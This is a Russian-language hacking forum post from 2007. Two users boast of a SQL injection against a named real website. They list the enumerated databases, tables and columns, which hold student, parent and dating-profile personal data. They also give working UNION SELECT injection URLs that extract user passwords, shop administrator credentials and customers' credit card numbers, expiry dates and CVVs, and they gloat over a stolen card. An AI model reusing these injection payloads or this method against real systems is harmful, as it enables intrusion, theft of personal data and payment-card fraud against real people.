
29.08.2007, 01:44
|
|
Познающий
Регистрация: 13.03.2007
Сообщений: 55
С нами:
10085912
Репутация:
17
|
|
SQL Инъекция проведена Noisia и x.Elf
Сайт: http://mobile.zensis.com/buy.php?pid=-0101'
БД: mYSQL5
Для начала мы нашли базы:
Код:
edu
fengshuima
fotogb_forum
fsm_forum
fungshuima
fungshuima_cart.cart_admin
fungshuimablog
match3g
mobolan
mysql
photo_gallery
test
test_table
yahooj2medemo
zabbix
zensis_test
Потом таблицы:
Код:
cart_address_book
cart_address_format
cart_admin
cart_admin_activity_log
cart_authorizenet
cart_banners
cart_banners_history
cart_categories
cart_categories_description
cart_configuration
cart_configuration_group
cart_counter
cart_counter_history
cart_countries
cart_coupon_email_track
cart_coupon_gv_customer
cart_coupon_gv_queue
cart_coupon_redeem_track
cart_coupon_restrict
cart_coupons
cart_currencies
cart_customers
cart_customers_basket
cart_customers_basket_attributes
cart_customers_info
cart_customers_wishlist
cart_db_cache
cart_email_archive
cart_featured
cart_files_uploaded
cart_geo_zones
cart_get_terms_to_filter
cart_group_pricing
cart_languages
cart_layout_boxes
cart_manufacturers
cart_manufacturers_info
cart_media_clips
cart_media_manager
cart_media_to_products
cart_media_types
cart_meta_tags_products_description
cart_music_genre
cart_newsletters
cart_orders
cart_orders_products
cart_orders_products_attributes
cart_orders_products_download
cart_orders_status
cart_orders_status_history
cart_orders_total
cart_paypal
cart_paypal_payment_status
cart_paypal_payment_status_history
cart_paypal_session
cart_product_music_extra
cart_product_type_layout
cart_product_types
cart_product_types_to_category
cart_products
cart_products_attributes
cart_products_attributes_download
cart_products_description
cart_products_discount_quantity
cart_products_notifications
cart_products_options_types
cart_products_options_values
cart_products_options_values_to_products_options
cart_products_to_categories
cart_project_version
cart_project_version_history
cart_query_builder
cart_record_artists
cart_record_artists_info
cart_record_company
cart_record_company_info
cart_reviews
cart_reviews_description
cart_salemaker_sales
cart_sessions
cart_specials
cart_tax_rates
cart_template_select
cart_upgrade_exceptions
cart_zones
cart_zones_to_geo_zones
Потом колумны:
Код:
birthday
age
grade
placeofbirth
gender
school_info_id
addr1_e
addr2_e
addr3_e
district_s_code
regioncode
student_tel
student_fax
student_email
iq_test
iq_test_date
iq_test_age
iq
fathernamee
fathernamec
fatherphone
fatheroccupation
mothernamee
motherphone
motheroccupation
course_code_1
course_code_2
course_code_3
config_id
type
name
display
value
class
course_info_id
course_code
course_date
name_e
desc_e
desc_c
remark_e
remark_c
districtcode
district_l_e
district_s_id
district_s_c
region_id
region_c
region_e
family_seq
addr_e
addr_c
principal_e
tel
email
user_id
username
password
nickname
adminlevel
blacklist_seq
member_id
heading
blog_seq
remark
content
photopath
status
last_upd_date
family_id
relation
friends_seq
matched_id
score1
score2
scorecombined
dateofbirth
sex
location1
location2
description1
description2
description3
description4
description5
description6
smoking
drinking
vegetarian
height
body
religion
living
night_life
pets_detail
like_pets_detail
maritalstatus
travel_places
education
lived_places
hope_travel_places
job
jobtime
joblocation2
personality1
personality2
personality3
personality4
personality5
personality6
personality7
personality8
personality9
horo
mh_age_s
mh_age_e
mh_sex
mh_location1
mh_location2
mh_location1_weight
mh_body
mh_body_weight
mh_height_s
mh_height_e
mh_height_weight
mh_religion
mobile
operator
Перебираем...
http://www.aboutus.org/ZenSis.com
Смотрим сколько сайтов держит бд...
Код:
http://mobile.zensis.com/buy.php?pid=-0101+union+select+concat(username,0x3a,password)+from+edu.user+limit+1,1/*
Логин пассы от сайта http://www.fotogb.com/
___
нашли инет магазин
https://store.zarinfabrics.com
Оплата через кредитки, держится все на той же БД
Подобрали базу к таблице.. fungshuima_cart.cart_admin
_____
И делаем такой запрос  )
http://mobile.zensis.com/buy.php?pid=-0101+union+select+column_name+from+information_sch ema.columns+where+table_name='cart_admin'+limit+3, 1/*
теперь
http://mobile.zensis.com/buy.php?pid=-0101+union+select+concat(admin_name,0x21,admin_pas s,0x21,admin_email,0x21,admin_level)+from+fungshui ma_cart.cart_admin/*
___
Подбираем данные, и лезим в кредитки шопа
http://mobile.zensis.com/buy.php?pid=-0101+union+select+concat(cc_type,0x3a,0x3a,cc_owne r,0x3a,0x3a,cc_number,0x3a,0x3a,cc_expires,0x3a,0x 3a,cc_cvv,0x3a,0x3a)+from+fungshuima_cart.cart_ord ers+limit+1,1/*
но в конце большой облом, КРЕДИТКА ВСЕГО ОДНА.
Зато много опыта, и чужая просроченая кредитка  )
|
|
|